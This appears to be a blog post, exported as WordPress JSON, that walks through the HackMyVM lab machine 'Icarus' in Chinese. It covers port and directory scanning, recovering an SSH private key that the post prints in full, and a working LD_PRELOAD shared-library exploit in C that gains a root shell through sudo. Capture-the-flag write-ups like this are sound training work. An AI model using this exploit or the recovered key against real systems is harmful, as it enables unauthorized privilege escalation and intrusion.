{"id":921,"date":"2025-06-27T22:32:21","date_gmt":"2025-06-27T14:32:21","guid":{"rendered":"http:\/\/162.14.82.114\/?p=921"},"modified":"2025-06-27T22:32:21","modified_gmt":"2025-06-27T14:32:21","slug":"hmv-_-icarus","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/921\/06\/27\/2025\/","title":{"rendered":"hmv [-_-] Icarus"},"content":{"rendered":"<h1>Icarus<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231337.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231337.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250626073444305\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231338.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231338.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627212141321\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog         :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nScanning ports: The virtual equivalent of knocking on doors.\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.10.103:22\nOpen 192.168.10.103:80\n\nPORT   STATE SERVICE REASON         VERSION\n22\/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 b6:65:56:40:8d:a8:57:b9:15:1e:0e:1f:a5:d0:52:3a (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqE1wk5cLY3H4IfatZIH1alMhIeJQ69reInN8SvKRUh71o+tqCK4XUZbI97serNTQbWJvE9odxgZQXPfrNJAfqFC1n7oI4BBRjxytzzL1NqjbK31SFBAJicsaRSJ4P5E+4VUBuFfrw\/997pS3C9QuATgFEqiBho57dYvixxBdqqPs0gbvAYw6NktuQ9VCg1VKcAaYu\/J00d8qXfojT41OxKzjbddaLlaRL8Ald7lksNtauXsEigoSdgO0Qm2T8Y5aFD0nzJVCmosdWqcIcnouQpK3SxxJL3Q3mWDMFzSfYPCsK\/rNSyJCD\/RNrgWpTM0IhMMSvmurPFNiXgJpzZcgz\n|   256 79:65:cb:2a:06:82:13:d3:76:6b:1c:55:cd:8f:07:b7 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNFF0qR\/Tyy\/kOOHpSpt8zqW6yY5epSXlqy50a13qUFgr7JBVDDgMlCW7Gn51z0V\/rwv23UDqZCDn7A7isbyMIo=\n|   256 b1:34:e5:21:a0:28:30:c0:6c:01:0e:b0:7b:8f:b8:c6 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ3oGXp5sY0FmcRS8cMhyeg8g1+mAzbZpX8EWKSLYn2s\n80\/tcp open  http    syn-ack ttl 64 nginx 1.14.2\n| http-methods: \n|_  Supported Methods: GET HEAD POST\n|_http-title: LOGIN\n|_http-server-header: nginx\/1.14.2\nMAC Address: 08:00:27:64:FB:C7 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html,zip\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.10.103\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              html,zip,php,txt\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.php            (Status: 200) [Size: 407]\n\/login.php            (Status: 302) [Size: 0] [--&gt; index.php]\n\/xml                  (Status: 200) [Size: 1]\n\/a                    (Status: 200) [Size: 9641]\n\/xxx                  (Status: 200) [Size: 1]\n\/check.php            (Status: 200) [Size: 21]\n\/xsl                  (Status: 200) [Size: 1]\n\/xbl                  (Status: 200) [Size: 1]\n\/xap                  (Status: 200) [Size: 1]\n\/xav                  (Status: 200) [Size: 1]\n\/xss                  (Status: 200) [Size: 1]\n\/xor                  (Status: 200) [Size: 1]\n\/xan                  (Status: 200) [Size: 1]\n\/xaz                  (Status: 200) [Size: 1]\n\/xak                  (Status: 200) [Size: 1]\n\/xbx                  (Status: 200) [Size: 1]\n\/xen                  (Status: 200) [Size: 1]\n\/xaa                  (Status: 200) [Size: 1]\n\/xai                  (Status: 200) [Size: 1]\n\/xbs                  (Status: 200) [Size: 1]\n\/xad                  (Status: 200) [Size: 1]\n\/xbh                  (Status: 200) [Size: 1]\n\/xbo                  (Status: 200) [Size: 1]\n\/xbp                  (Status: 200) [Size: 1]\n\/xbd                  (Status: 200) [Size: 1]\n\/xcp                  (Status: 200) [Size: 1]\n\/xaw                  (Status: 200) [Size: 1]\n\/xls                  (Status: 200) [Size: 1]\n\/xbb                  (Status: 200) [Size: 1]\n\/xag                  (Status: 200) [Size: 1]\n\/xat                  (Status: 200) [Size: 1]\n\/xaj                  (Status: 200) [Size: 1]\n\/xaq                  (Status: 200) [Size: 1]\n\/xau                  (Status: 200) [Size: 1]\n\/xae                  (Status: 200) [Size: 1]\n\/xbg                  (Status: 200) [Size: 1]\n\/xbt                  (Status: 200) [Size: 1]\n\/xsp                  (Status: 200) [Size: 1]\n\/xdm                  (Status: 200) [Size: 1]\n\/xbm                  (Status: 200) [Size: 1]\n\/xbq                  (Status: 200) [Size: 1]\n\/xbi                  (Status: 200) [Size: 1]\n\/xbu                  (Status: 200) [Size: 1]\n\/xbw                  (Status: 200) [Size: 1]\n\/xna                  (Status: 200) [Size: 1]\n\/xcr                  (Status: 200) [Size: 1]\n\/xbn                  (Status: 200) [Size: 1]\n\/xao                  (Status: 200) [Size: 1]\n\/xbr                  (Status: 200) [Size: 1]\n\/xdr                  (Status: 200) [Size: 1]\n\/xdi                  (Status: 200) [Size: 1]\n\/xay                  (Status: 200) [Size: 1]\n\/xda                  (Status: 200) [Size: 1]\n\/xaf                  (Status: 200) [Size: 1]\n\/xam                  (Status: 200) [Size: 1]\n\/xab                  (Status: 200) [Size: 1]\n\/xbj                  (Status: 200) [Size: 1]\n\/xal                  (Status: 200) [Size: 1]\n\/xba                  (Status: 200) [Size: 1]\n\/xar                  (Status: 200) [Size: 1]\n\/xbk                  (Status: 200) [Size: 1]\n\/xcx                  (Status: 200) [Size: 1]\n\/xas                  (Status: 200) [Size: 1]\n\/xcm                  (Status: 200) [Size: 1]\n\/xac                  (Status: 200) [Size: 1]\n\/xah                  (Status: 200) [Size: 1]\n\/xul                  (Status: 200) [Size: 1]\n\/xbc                  (Status: 200) [Size: 1]\n\/xco                  (Status: 200) [Size: 1]\n\/xbe                  (Status: 200) [Size: 1]\n\/xdc                  (Status: 200) [Size: 1]\n\/xca                  (Status: 200) [Size: 1]\n\/xdl                  (Status: 200) [Size: 1]\n\/xbv                  (Status: 200) [Size: 1]\n\/xax                  (Status: 200) [Size: 1]\n\/xbf                  (Status: 200) [Size: 1]\n\/xdp                  (Status: 200) [Size: 1]\n\/xsd                  (Status: 200) [Size: 1]\n\/xpl                  (Status: 200) [Size: 1]\n\/xdo                  (Status: 200) [Size: 1]\n\/xcq                  (Status: 200) [Size: 1]\n\/xcs                  (Status: 200) [Size: 1]\n\/xce                  (Status: 200) [Size: 1]\n\/xcw                  (Status: 200) [Size: 1]\n\/xdb                  (Status: 200) [Size: 1]\n\/xcu                  (Status: 200) [Size: 1]\n\/xdd                  (Status: 200) [Size: 1]\n\/xcj                  (Status: 200) [Size: 1]\n\/xcn                  (Status: 200) [Size: 1]\n\/xdk                  (Status: 200) [Size: 1]\n\/xci                  (Status: 200) [Size: 1]\n\/xxl                  (Status: 200) [Size: 1]\n\/xpi                  (Status: 200) [Size: 1]\n\/xcc                  (Status: 200) [Size: 1]\n\/xdg                  (Status: 200) [Size: 1]\n\/xmp                  (Status: 200) [Size: 1]\n\/xct                  (Status: 200) [Size: 1]\n\/xcd                  (Status: 200) [Size: 1]\n\/xcy                  (Status: 200) [Size: 1]\n\/xcg                  (Status: 200) [Size: 1]\n\/xbz                  (Status: 200) [Size: 1]\n\/xcl                  (Status: 200) [Size: 1]\n\/xcf                  (Status: 200) [Size: 1]\n\/xdh                  (Status: 200) [Size: 1]\n\/xds                  (Status: 200) [Size: 1]\n\/xcb                  (Status: 200) [Size: 1]\n\/xfs                  (Status: 200) [Size: 1]\n\/xps                  (Status: 200) [Size: 1]\n\/xpt                  (Status: 200) [Size: 1]\n\/xsa                  (Status: 200) [Size: 1]\n\/xyz                  (Status: 200) [Size: 1]\n\/xck                  (Status: 200) [Size: 1]\n\/xfn                  (Status: 200) [Size: 1]\n\/xfe                  (Status: 200) [Size: 1]\n\/xui                  (Status: 200) [Size: 1]\n\/xll                  (Status: 200) [Size: 1]\n\/xeg                  (Status: 200) [Size: 1]\n\/xga                  (Status: 200) [Size: 1]\n\/xsv                  (Status: 200) [Size: 1]\n\/xgl                  (Status: 200) [Size: 1]\n\/xpp                  (Status: 200) [Size: 1]\n\/xsh                  (Status: 200) [Size: 1]\n\/xsr                  (Status: 200) [Size: 1]\n\/xtr                  (Status: 200) [Size: 1]\n\/xrx                  (Status: 200) [Size: 1]\n\/xqf                  (Status: 200) [Size: 1]\n\/xtc                  (Status: 200) [Size: 1]\n\/xkb                  (Status: 200) [Size: 1]\n\/xsw                  (Status: 200) [Size: 1]\n\/xcv                  (Status: 200) [Size: 1]\n\/xdj                  (Status: 200) [Size: 1]\n\/xby                  (Status: 200) [Size: 1]\n\/xch                  (Status: 200) [Size: 1]\n\/xdn                  (Status: 200) [Size: 1]\n\/xre                  (Status: 200) [Size: 1]\n\/xcz                  (Status: 200) [Size: 1]\n\/xdq                  (Status: 200) [Size: 1]\n\/xfm                  (Status: 200) [Size: 1]\nProgress: 1102800 \/ 1102805 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231339.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231339.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627212331189\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-html\">&lt;!doctype html&gt;\n&lt;html lang=&quot;en&quot;&gt;\n&lt;title&gt;LOGIN&lt;\/title&gt;\n\n    &lt;form class=&quot;form-signin&quot; action=&quot;check.php&quot; method=&quot;post&quot;&gt;\n\n      &lt;input type=&quot;text&quot; autocomplete=&quot;off&quot; id=&quot;user&quot; name=&quot;user&quot; name=&quot;user&quot; placeholder=&quot;Username&quot; required autofocus&gt;\n      &lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; placeholder=&quot;Password&quot; required&gt;\n      &lt;input type=&quot;submit&quot; value=&quot;Sign in&quot;&gt;\n    &lt;\/form&gt;\n  &lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ whatweb http:\/\/$IP\/                                       \nhttp:\/\/192.168.10.103\/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx\/1.14.2], IP[192.168.10.103], PasswordField[password], Title[LOGIN], nginx[1.14.2]<\/code><\/pre>\n<h3>\u654f\u611f\u76ee\u5f55<\/h3>\n<p>\u5c1d\u8bd5\u8f93\u51fa\u6240\u6709\u654f\u611f\u76ee\u5f55\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ cat dict | cut -d&#039; &#039; -f1 &gt; temp\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ head temp                                                              \n\/xml\n\/a\n\/xxx\n\/check.php\n\/xsl\n\/xbl\n\/xap\n\/xav\n\/xss\n\/xor\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ curl -s http:\/\/$IP\/a                                              \n\na\nxaa\nxab\nxac\nxad\nxae\nxaf\nxag\nxah\nxai\nxaj\nxak\nxal\nxam\nxan<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u8bfb\u53d6\uff1a<\/p>\n<pre><code class=\"language-bash\"># curl -s http:\/\/$IP\/a &gt; temp\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ for i in $(cat temp); do curl -s &quot;http:\/\/$IP\/$i&quot; &gt;&gt; result; done\n------------\nxzbta\nxzbtb\nxzbtc\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEA5xagxLiN5ObhPjNcs2I2ckcYrErKaunOwm40kTBnJ6vrbdRYHteS\nafNWC6xFFzwO77+Kze229eK4ddZcwmU0IdN02Y8nYrxhl8lOc+e5T0Ajz+tRmLGoxJVPsS\nTzKBERlWpKuJoGO\/CEFLOv6PP6s79YYzZFpdUjaczY96jgICftzNZS+VkBXuLjKr79h4Tw\nz7BK4V6FEQY0hwT8NFfNrF3x3VPe0UstdiUJFl4QV\/qAPlHVhPd0YUEPr\/95mryjuGi1xw\nP7xVFrYyjLfPepqYHiS5LZxFewLWhhSjBOI0dzf\/TwiNRnVGTZhB3GemgEIQRAam26jkZZ\n3BxkrUVckQAAA8jfk7Jp35OyaQAAAAdzc2gtcnNhAAABAQDnFqDEuI3k5uE+M1yzYjZyRx\nisSspq6c7CbjSRMGcnq+tt1Fge15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQh03TZjydi\nvGGXyU5z57lPQCPP61GYsajElU+xJPMoERGVakq4mgY78IQUs6\/o8\/qzv1hjNkWl1SNpzN\nj3qOAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPw0V82sXfHdU97RSy12JQkWXhBX\n+oA+UdWE93RhQQ+v\/3mavKO4aLXHA\/vFUWtjKMt896mpgeJLktnEV7AtaGFKME4jR3N\/9P\nCI1GdUZNmEHcZ6aAQhBEBqbbqORlncHGStRVyRAAAAAwEAAQAAAQEAvdjwMU1xfTlUmPY3\nVUP9ePsBwSIck6ML8t35H8KFLKln3C4USxpNNe\/so+BeTo1PtBVHYpDFu9IMOvrl7+qW3q\ndLGyUpdUtQXhPK+RvJONt30GwB+BEUlpQYCW9SuHr1WCwfwPMA5iNdT2ijvx0ZvKwZYECJ\nDYlB87yQDz7VCnRTiQGP2Mqiiwb7vPd\/t386Y+cAz1cVl7BnHzWWJTUTkKCwijnvjYrD0o\ntTQX4sGd6CrI44g+L8hnYuCZz+a0j6IyUfXJqj6l+\/Z2Af7pJjbJD3P28xX7eY0h1Cec2l\n\/sb7qg2wy0qJNywJ35l8bZzZKjkXztPLOqMFQ6Fh0BqSdQAAAIEAlaH0ZEzJsZoR3QqcKl\nxRKjVcuQCwcrKlNbJu2qRuUG812CLb9jJxJxacJPBV0NS832c+hZ3BiLtA5FwCiGlGq5m5\nHS3odf3lLXDfIK+pur4OWKBNLDxKbqi4s4M05vR4gHkmotiH9eWlCNuqL46Ip5H1vFXeJM\npLRLN0gqOGuQQAAACBAPfffuhidAgUZH\/yTvATKC5lcGrE7bkpOq+6XMMgxEQl0Hzry76i\nrGXkhTY4QUtthYo4+g7jiDzKlbeaS7aN8RYq38GzQnZZQcSdvL1yB\/N554gQvzJLvmKQbm\ngLhMRcdDmifUelJYXib2Mjg\/BLaRXaEzOomUKR2nyJH7VgU+xzAAAAgQDuqkBp44indqhx\nwrzbfeLnzQqpZ\/rMZXGcvJUttECRbLRfohUftFE5J0PKuT8w0dpacNCVgkT9A0Tc3xRfky\nECBQjeKLvdhcufJhQl0pdXDt1cpebE50LE4yHc8vR6FEjhR4P2AbGICJyRS7AX7UnrOWdU\nIE3FeNP0r5UiSDq16wAAAA1pY2FydXNAaWNhcnVzAQIDBA==\n-----END OPENSSH PRIVATE KEY-----<\/code><\/pre>\n<p>\u554a\u8fd9\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ cat result | tail -n 27 &gt; id_rsa\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ ssh-keygen -y -f id_rsa\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\nPermissions 0664 for &#039;id_rsa&#039; are too open.\nIt is required that your private key files are NOT accessible by others.\nThis private key will be ignored.\nLoad key &quot;id_rsa&quot;: bad permissions\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ chmod 600 id_rsa                \n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus]\n\u2514\u2500$ ssh-keygen -y -f id_rsa\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnFqDEuI3k5uE+M1yzYjZyRxisSspq6c7CbjSRMGcnq+tt1Fge15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQh03TZjydivGGXyU5z57lPQCPP61GYsajElU+xJPMoERGVakq4mgY78IQUs6\/o8\/qzv1hjNkWl1SNpzNj3qOAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPw0V82sXfHdU97RSy12JQkWXhBX+oA+UdWE93RhQQ+v\/3mavKO4aLXHA\/vFUWtjKMt896mpgeJLktnEV7AtaGFKME4jR3N\/9PCI1GdUZNmEHcZ6aAQhBEBqbbqORlncHGStRVyR icarus@icarus<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231340.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231340.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627222618015\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>LD_PRELOAD\u52ab\u6301<\/h3>\n<pre><code class=\"language-bash\">icarus@icarus:~$ sudo -l\nMatching Defaults entries for icarus on icarus:\n    env_reset, mail_badpass, env_keep+=LD_PRELOAD, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser icarus may run the following commands on icarus:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/id<\/code><\/pre>\n<p>\u53d1\u73b0\u53ef\u4ee5\u52ab\u6301\u94fe\u63a5\u5e93\uff1a<code>env_keep+=LD_PRELOAD<\/code><\/p>\n<p>\u53ef\u4ee5\u53c2\u8003\uff1a<a href=\"https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/sudo\/sudo-privilege-escalation-by-overriding-shared-library\/\">https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/sudo\/sudo-privilege-escalation-by-overriding-shared-library\/<\/a><\/p>\n<pre><code class=\"language-c\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n\nvoid inject()__attribute__((constructor));\n\nvoid inject() {\n    unsetenv(&quot;LD_PRELOAD&quot;);\n    setuid(0);\n    setgid(0);\n    system(&quot;\/bin\/bash&quot;);\n}<\/code><\/pre>\n<pre><code class=\"language-bash\">icarus@icarus:\/tmp$ nano exploit.c\nicarus@icarus:\/tmp$ chmod +x exploit.c \nicarus@icarus:\/tmp$ gcc  -fPIC -shared -o exploit.so exploit.c\nicarus@icarus:\/tmp$ sudo LD_PRELOAD=\/tmp\/exploit.so \/usr\/bin\/id\nroot@icarus:\/tmp# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root)<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231342.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506272231342.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627223112682\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/tamanduaflag.github.io\/posts\/hack-my-vm-icarus\/\">https:\/\/tamanduaflag.github.io\/posts\/hack-my-vm-icarus\/<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/HosseinVampire\/Writeups\/blob\/main\/Hackmyvm\/Machines\/Icarus\/Ctf.md\">https:\/\/github.com\/HosseinVampire\/Writeups\/blob\/main\/Hackmyvm\/Machines\/Icarus\/Ctf.md<\/a><\/p>\n<p><a href=\"https:\/\/gm4tsy.hashnode.dev\/hackmyvm-icarus-linux\">https:\/\/gm4tsy.hashnode.dev\/hackmyvm-icarus-linux<\/a><\/p>\n<p><a href=\"https:\/\/alientec1908.github.io\/Icarus_HackMyVM_Medium\/\">https:\/\/alientec1908.github.io\/Icarus_HackMyVM_Medium\/<\/a><\/p>\n<p><a href=\"https:\/\/www.bilibili.com\/video\/BV1vtjnzkEKM\/\">https:\/\/www.bilibili.com\/video\/BV1vtjnzkEKM\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Icarus \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Icarus] \u2514\u2500$ rus [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-921","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/921","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=921"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/921\/revisions"}],"predecessor-version":[{"id":922,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/921\/revisions\/922"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=921"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=921"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=921"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}